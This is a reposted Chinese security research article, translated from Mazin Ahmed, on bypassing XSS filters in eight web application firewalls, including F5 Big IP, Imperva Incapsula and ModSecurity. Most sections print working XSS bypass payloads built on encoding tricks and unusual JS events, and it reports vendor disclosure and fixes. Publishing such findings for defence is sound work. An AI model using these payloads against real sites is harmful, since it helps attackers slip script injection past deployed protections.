转载

WAF的XSS绕过姿势

0×00 概要

由于应用防火墙的广泛使用,实验测试WAF抵御xss攻击的能力变的很有必要。当然所有的实验就是为了证明厂商要从根源上杜绝漏洞,不能躺在WAF上高枕无忧。

实验测试的对象是一些流行的WAF 例如F5 Big IP、Imperva Incapsula、AQTRONIX WebKnight、PHP-IDS、Mod-Security、Sucuri、QuickDefense、Barracuda WAF 他们都在测试中被绕过。

0×01 介绍 

Web应用防火墙(WAF)是一个应用,服务器插件,或者过滤器,利用一系列规则过滤http会话。通常这些规则用来防御常规威胁,XSS,SQL注入和一些web相关的漏洞。本次测试只关注WAF保护的绕过方法。

0×02 测试环境

Google Chrome Opera Browser Mozilla Firefox Internet Explorer

0×03 测试结果

1. Imperva Incapsula 

测试中发现,Imperva Incapsula过滤了很多常见的xss载荷,例如 <img/src="x"/onerror="alert(1)">就被过滤了。同时发现<img src=x onerror="input">没有检测出来,绕过过滤的唯一的障碍就是寻找在error上的行为。alert(), prompt(), confirm(), eval() 全被禁止,只能找其他替代的方法证明xss漏洞的存在。

1.1 第一次绕过

Double URL 编码 + html编码 + Unicode 编码 (全浏览器通过)

double-url 编码存在于多次URL解码客户端输入的特定服务器。

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E

1.2 第二次绕过 :JS-F**K 载荷(全浏览器)

第二个绕过基于JS-F**K——一种七个字符创建JS的技术,载荷结构跟上面大体相同,
<img/src="x"/onerror="[JS-F**K Payload]">

动作没问题,唯一的缺点是长度。大多数服务器都对GET请求URL有严格要求,因此用于POST请求更好一点。除了这些,这个载荷看起来很完美。

2. WebKnight

WebKnight测试很不一样,它的一系列过滤规则有安全社区频繁的更新,实验确定了两种绕过方法只影响WebKnight v4.1 ,v4.2版本就修复了。

2.1 第一次绕过 ontoggle JS Event (Google Chrome)

这次只在Chrome中有效。

toggle() 方法切换元素的可见状态。

如果被选元素可见,则隐藏这些元素,如果被选元素隐藏,则显示这些元素。只在chrome中支持。

<details ontoggle=alert(1)>

2.2 第二次绕过 Onshow JS event (Mozilla Firefox)

应用了onshow的JS事件 ,用户单击触发脚本,绕过WebKnight 的xss过滤。

<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

3. F5 Big IP

F5 Big IP 是公认的企业级应用防火墙,要发现xss绕过思路不仅限于action。

3.1 第一次绕过 : Onwheel JS 事件 + 在样式属性上指定高度调整页面大小  (Google Chrome &Mozilla Firefox & Opera Browser)

<body style="height:1000px" onwheel="[DATA]">

3.2 第二次绕过 :Onshow JS event (Mozilla Firefox)

用户单击,脚本触发。

<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">

3.3 第三次绕过:JS-F**K 载荷(Google Chrome & Mozilla Firefox & Opera Browser)

<body style="height:1000px" onwheel="[JS-F**k Payload]">  <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">

3.4 第四次绕过 :HTML编码 + Double URL 编码(Google Chrome & Mozilla Firefox & Opera Browser)

<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)"> <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">

4. Barracuda WAF

结果和 F5 Big IP一样。

4.1

<body style="height:1000px" onwheel="alert(1)">

4.2

<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

5. PHP-IDS

通过审查过滤规则发现JS 事件并不在黑名单中。除此之外,PHP-IDS 的主要保护措施就是基于JS 事件的action。例如,alert()立刻就会被PHP-IDS发现,同时,所有目前已知的编码技术都被过滤了,还有特定的保护措施防御载荷结构。所以不得不另辟奚径利用一些浏览器行为绕过保护机制。

5.1 第一次绕过:应用浏览器响应用户输入的行为

<svg+onload=+"[DATA]"

可以绕过 PHP-IDS v0.7

5.2 第二次绕过:double URL 编码

<svg+onload=+"aler%25%37%34(1)"

6. Mod-Security 

实验表明Mod-Security 对恶意的请求特别敏感,例如,hello%20onsomething=dosomething 就因为onsomething 看起来像JS事件 被标记为潜在的xss脚本攻击。因此要关注内部可用来绕过过滤的漏洞。

6.1 第一次绕过 使用(&NewLine;)和(&Tab;)  (Google Chrome & Opera Browser & Internet Explorer)

这个载荷包含了一个指向javascript载荷的链接,通常这种方法一定会被检测出来,但是我们用了大量的new lines 和 tab 成功绕过。

<a href="j[785 bytes of (  )]avascript:alert(1);">XSS</a>

6.2 第二次绕过 US编码绕过 (只有IE6和IE7)

WAF的XSS绕过姿势

6.3 第三次绕过 Triple URL 编码

<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

7. Quick Defense 

当前Quick Defense 的过滤规则还不足以支持产品级的web应用,尽管黑名单中有很多JS事件,用一些编码技术就能绕过。

7.1 第一次绕过:OnSearch JS 事件 + Unicode 编码 (Google Chrome)

<input type="search" onsearch="aler/u0074(1)">

7.2 第二次绕过 :OnToggle JS 事件 + Unicode 编码(Google Chrome)

<details ontoggle="aler/u0074(1)">

8. Sucuri WAF

Sucuri WAF 对恶意请求同样相当敏感。在今年四月,许多研究者完全绕过了Sucuri WAF 因而所有的发现都被修补好了,只能依靠旧版的浏览器才能实现xss。

绕过方法 :US编码 (IE6和IE7)

WAF的XSS绕过姿势

0×04 厂商回复

除PHP-IDS没有回复以外其他厂商都修补了漏洞。

0×05 小结

结合各自WAF的弱点构造攻击向量绕过过滤器是完全可能的事情,对厂商来说,WAF可以让攻击者花费更多的时间,但是从根本上调查修补漏洞依然必不可少。

*参考来源: packetstormsecurity (PDF),原作者/Mazin Ahmed,编译/月尽西楼,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...